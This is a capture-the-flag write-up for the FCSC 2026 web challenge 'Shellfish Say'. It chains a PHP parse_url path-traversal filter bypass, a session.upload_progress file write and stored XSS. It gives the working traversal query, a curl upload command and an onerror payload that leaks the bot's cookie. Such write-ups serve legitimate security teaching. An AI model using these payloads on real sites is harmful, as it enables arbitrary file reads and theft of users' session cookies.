pwneglyph logo
web web-server php lfi file-read path-traversal parse-url forced-suffix-bypass double-url-encoding session-upload-progress stored-xss innerhtml cookie-theft puppeteer-bot

Bypass a .. filter via the parse_url \":\" branch and a

Shellfish Say — parse_url traversal + session.upload_progress to plant stored XSS

CTF: FCSC 2026 · Category: Web (server + client) · client-side flag in the bot's cookie

Challenge overview

A "shellfish says " page. The front page fetches a quote file and drops it into the DOM via innerHTML — an XSS sink if we control the file content:

// index.php
const quote_file = params.get("quote") ?? "shellfish.txt";
let resp = await fetch(`/get_quote?quote=${quote_file}`);
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = await resp.text();

A bot visits a URL we provide with the flag in its cookie; the VM has no internet, but every console.log is echoed back over the nc connection. So the goal is XSS in the bot → console.log(document.cookie).

get_quote.php builds a path under /tmp/quotes/ and readfiles it:

$quote_file = "/tmp/quotes/";
if (isset($_GET["quote"])) {
    if (strpos($_GET["quote"], ":")) {
        $quote_file .= parse_url($_GET["quote"] . ".txt")["path"];   // ":" branch — no .. filter!
    } else {
        if (strpos($_GET["quote"], "..")) $quote_file .= "shellfish.txt";  // .. blocked here only
        else $quote_file .= $_GET["quote"] . ".txt";
    }
}
if (!file_exists($quote_file)) $quote_file = "/tmp/quotes/shellfish.txt";
readfile($quote_file);

.htaccess maps extensionless URLs to .php, so /get_quoteget_quote.php.

Arbitrary file read: the ":" + "#" bypass

The .. filter only guards the else branch. If the input contains a :, PHP takes the parse_url branch instead — where .. is never checked. And the forced .txt suffix can be discarded by ending the input with #, which parse_url treats as the fragment:

quote = x:/../sess_cnf#
->  parse_url("x:/../sess_cnf#.txt")  ->  scheme=x, path=/../sess_cnf, fragment=.txt
->  /tmp/quotes/ . "/../sess_cnf"  =  /tmp/sess_cnf

So ?quote=x:/../sess_cnf# reads /tmp/sess_cnf. (When the value travels through the front page's fetch("/get_quote?quote=..."), encode the # as %2523 so it survives the extra decode layer; hitting get_quote.php directly only needs %23.) Log-poisoning was the first idea, but Apache logs are symlinks to /dev/stdout//dev/stderr on a read-only FS — dead end. We need a different file we control.

Writing attacker bytes to /tmp: session.upload_progress

The container's php.ini has session.upload_progress.cleanup = Off. PHP's upload-progress feature writes a session file at /tmp/sess_<PHPSESSID> when a multipart POST includes a PHP_SESSION_UPLOAD_PROGRESS field — and the serialized session content embeds the attacker-controlled upload filename verbatim, persisting because cleanup is off. Choose the SID, put the XSS in the filename:

curl -X POST 'http://shellfish-say/get_quote.php' \
  -b 'PHPSESSID=cnf' \
  -F 'PHP_SESSION_UPLOAD_PROGRESS=x' \
  -F 'file=@/dev/null;filename=<img src=1 onerror=console.log(document.cookie)>'

Resulting /tmp/sess_cnf (note our name field):

a:1:{s:17:"upload_progress_x";a:5:{...s:5:"files";a:1:{i:0;a:7:{...s:4:"name";s:..:"<img src=1 onerror=console.log(document.cookie)>";...}}}}

(Upload /dev/null, not /dev/urandom — a huge upload just hangs the request.)

Firing the XSS

get_quote.php readfiles the session file and the response is served as text/html, so the raw <img> renders and onerror runs immediately — no need to even go through the innerHTML sink. Point the bot at:

http://shellfish-say/get_quote.php?quote=x:/../sess_cnf%23

The img's onerror runs in the bot's page with the flag cookie present → console.log(document.cookie) is echoed back:

[T1]> console.log  FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}

Takeaways (generalized technique)

  • parse_url() branches (triggered by a :) often sidestep string filters applied to the other code path — classic traversal-filter bypass.
  • A trailing # (fragment) discards a forced suffix like .txt appended before parsing.
  • session.upload_progress is a reliable attacker-controlled file write into /tmp (filename and SID are yours); with cleanup = Off the file persists for a later read/LFI/SSTI/include.
  • A file-read sink whose response is rendered as HTML (or fed to innerHTML) turns "read a file you planted" into stored XSS.
  • Watch double-decoding layers: a value passed through a second URL (here fetch("/get_quote?quote=...")) needs the # double-encoded (%2523).

Sources & references